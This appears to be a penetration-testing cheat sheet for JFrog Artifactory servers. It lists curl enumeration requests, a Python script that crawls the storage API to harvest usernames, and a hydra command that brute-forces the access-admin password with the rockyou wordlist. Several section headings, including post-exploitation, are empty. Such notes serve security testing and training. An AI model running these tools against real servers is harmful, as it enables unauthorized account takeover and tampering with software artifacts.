Artifactory Pentesting
Practice
Enumeration
curl http://<TARGET>:8081ps -ef | grep artifactorycurl http://<TARGET>:8081/artifactory/ui/repodata?deploy=true
# Or for later versions
curl http://<TARGET>:8081/artifactory/ui/api/v1/ui/repodata?deploy=true# Original Script: https://gist.github.com/gquere/347e8e042490be87e6e9e32e428cb47a
# This script was adapted to support Authentication
import requests
import json
import urllib3
import sys
import argparse
# SUPPRESS WARNINGS ############################################################
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# ADD USER #####################################################################
def check_users(details, users):
if 'createdBy' not in details:
return
if details['createdBy'] not in users:
print('Found user {}'.format(details['createdBy']))
users.append(details['createdBy'])
if details['modifiedBy'] not in users:
print('Found user {}'.format(details['modifiedBy']))
users.append(details['modifiedBy'])
# MAIN #########################################################################
def main():
# Parse command-line arguments
parser = argparse.ArgumentParser(description="Process repositories and check users.")
parser.add_argument("url", help="Base URL of the API")
parser.add_argument("--user", help="Username for Basic Authentication")
parser.add_argument("--password", help="Password for Basic Authentication")
args = parser.parse_args()
url = args.url.rstrip('/')
auth = (args.user, args.password) if args.user and args.password else None
session = requests.Session()
users = []
try:
response = session.get(url + '/api/repositories', verify=False, auth=auth)
response.raise_for_status()
repositories = json.loads(response.text)
except Exception as e:
print(f"Failed to fetch repositories: {e}")
sys.exit(1)
print('There are {} repositories to process'.format(len(repositories)))
for repository in repositories:
try:
response = session.get(url + '/api/storage/' + repository['key'], verify=False, auth=auth)
if 'json' not in response.headers.get('Content-Type', ''):
continue
rep = json.loads(response.text)
for child in rep.get('children', []):
uri = child['uri']
response = session.get(url + '/api/storage/' + repository['key'] + uri, verify=False, auth=auth)
if 'json' not in response.headers.get('Content-Type', ''):
continue
details = json.loads(response.text)
check_users(details, users)
except Exception as e:
print(f"Error processing repository {repository.get('key', 'unknown')}: {e}")
if __name__ == "__main__":
main()
Authentication
Account
Default password
Notes
hydra -l access-admin -P /usr/share/wordlists/rockyou.txt <TARGET-IP> http-get "/artifactory/api/repositories:S=200" -s 8081Modifying Artifacts
Post-Exploitation
Resources
Last updated